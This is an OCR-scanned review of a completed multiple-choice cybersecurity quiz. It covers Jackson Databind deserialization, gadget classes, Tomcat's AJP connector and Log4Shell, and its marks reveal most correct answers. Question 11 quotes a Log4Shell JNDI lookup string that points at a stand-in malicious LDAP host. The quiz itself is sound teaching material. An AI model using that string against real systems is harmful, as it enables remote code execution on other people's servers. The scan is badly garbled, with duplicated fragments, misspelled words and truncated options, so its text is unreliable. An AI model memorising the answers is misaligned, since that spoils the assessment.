Started on	Wednesday, 19 March 2025, 4:36 PM
State	Finished
Completed on	Wednesday, 19 March 2025, 4:38 PM
Time taken	1 min 43 secs
Marks	11.00/12.00
Grade	91.67 out of 100.00
Question 1	
Complete	
Mark 1.00 out of 1.00	
How can an attacker	exploit the Jackson Databind vulnerability?
a. By injecting	SQL queries into the serialized JSON
	URL that bypasses authentication checks
• • •	JSON payload containing dangerous `@type` metadata
	weak encryption in the JSON keys
U. By exploiting	weak energytion in the 350N keys
Question 2	
Complete	
Mark 1.00 out of 1.00	
How on the wiel orga	scieted with AID he mitigated?
How can the risk asso	ociated with AJP be mitigated?
a. Disabling H	TPS and using HTTP only
	to the latest version of Java
	JP traffic to trusted hosts and setting a secret
_	
d. Using a diffe	rent logging library
Question 3	
Complete	
Mark 0.00 out of 1.00	
What caused the Jacl	sson Databind deserialization vulnerability?
a. Insufficient l	ogging mechanisms
	handling of polymorphic types
	utdated cryptographic algorithms
	of any type handling logic

9/25, 4:40 PM Quiz-CS: Attempt review			
Question	Question 4		
Complete			
Mark 1.00	out of 1.00		
What c	onfiguration change can help prevent Log4Shell attacks?		
a.	Setting `log4j2.formatMsgNoLookups=true`		
) b.	Disabling log rotation in Log4j		
О с.	Using a firewall to block all incoming traffic		
0 d.	Increasing the logging level to DEBUG		
O u.	increasing the logging level to DEBOG		
Question	5		
Complete			
Mark 1.00	out of 1.00		
What is	s a gadget class in the context of deserialization vulnerabilities?		
Оа	A class that logs all serialization and deserialization events		
	A class that implements only the `Serializable` interface without methods		
© C.	A class that can be exploited during descrialization to perform unintended actions		
d.	A utility class that simplifies JSON handling		
U.	A utility class that simplifies 55000 handling		
	•		
Question Complete			
Mark 1.00	out of 1.00		
IVIAIR 1.00	300 1.00		
What is	s one major security risk of exposing an AJP connector to the internet?		
О а.	It causes encryption keys to be logged in plain text.		
b.	It can lead to remote code execution through deserialization exploits.		
О с.	It can allow attackers to perform DNS cache poisoning.		
) d.	It makes the application vulnerable to Cross-Site Scripting (XSS).		
<u> </u>	temanes and appreciation rame associated surpaining (1885).		
	7		
Question			
Complete	. (100		
Mark 1.00	out of 1.00		
What is	s the primary mitigation for the Jackson deserialization vulnerability?		
О a.	Switching to XML instead of JSON		
0 b.	Disabling all JSON handling in the application		
C.	Upgrading to a patched version of Jackson and whitelisting allowed types		
) d.			
_ u.			

19/25, 4:40 PM	Quiz-CS: Attempt review
Question 8	
Complete	
Mark 1.00 out of 1.00	
What made the Log4Shell vulnerability (CVE-2021-44228) possil	ole?
a. A remote code execution flaw in the JNDI lookup featu	re
b. Improper token validation in Log4j	
c. A lack of secure password storage in Log4j	
d. Unpatched vulnerabilities in the LDAP server	
d. Onputeried valiferabilities in the EBAT Server	
Question 9	
Complete	
Mark 1.00 out of 1.00	
What role does the AJP connector play in a Tomcat-based appli-	cation?
a. It is responsible for TLS encryption of all HTTP requests	
b. It handles file uploads from the client.	
c. It acts as a database connection pool manager.	
 d. It serves as a bridge between a web server and Tomcat 	for request forwarding.
, and the second	
Question 10	
Complete	
Mark 1.00 out of 1.00	
Walk 1.00 Oct of 1.00	
What type of action might a gadget class perform when deseria	lized?
a. Write files or execute code without explicit calls from the	ne application
b. Send email alerts to the system administrator	The state of the s
c. Automatically hash all fields using SHA-256	
d. Automatically compress large objects in memory	
Question 11	
Complete	
Mark 1.00 out of 1.00	
Mark 1.00 out of 1.00	
Which input could trigger the Log4Shell vulnerability?	
a. `{ "username": "admin", "password": "password123" }`	
b. `\${indi:ldap://malicious-server.com/a}`	
c. ` <script>alert('XSS')</script> `	
d. `GET /login HTTP/1.1`	
-	

Question 12
Complete
Mark 1.00 out of 1.00

Why are gadget classes often found in common libraries?

- a. Common libraries are more frequently updated and include additional features.
- b. Common libraries often include reusable classes with methods that may be automatically invoked during deserialization.
- oc. Common libraries are more likely to be open source and freely available.
- O d. Common libraries are written in older programming languages.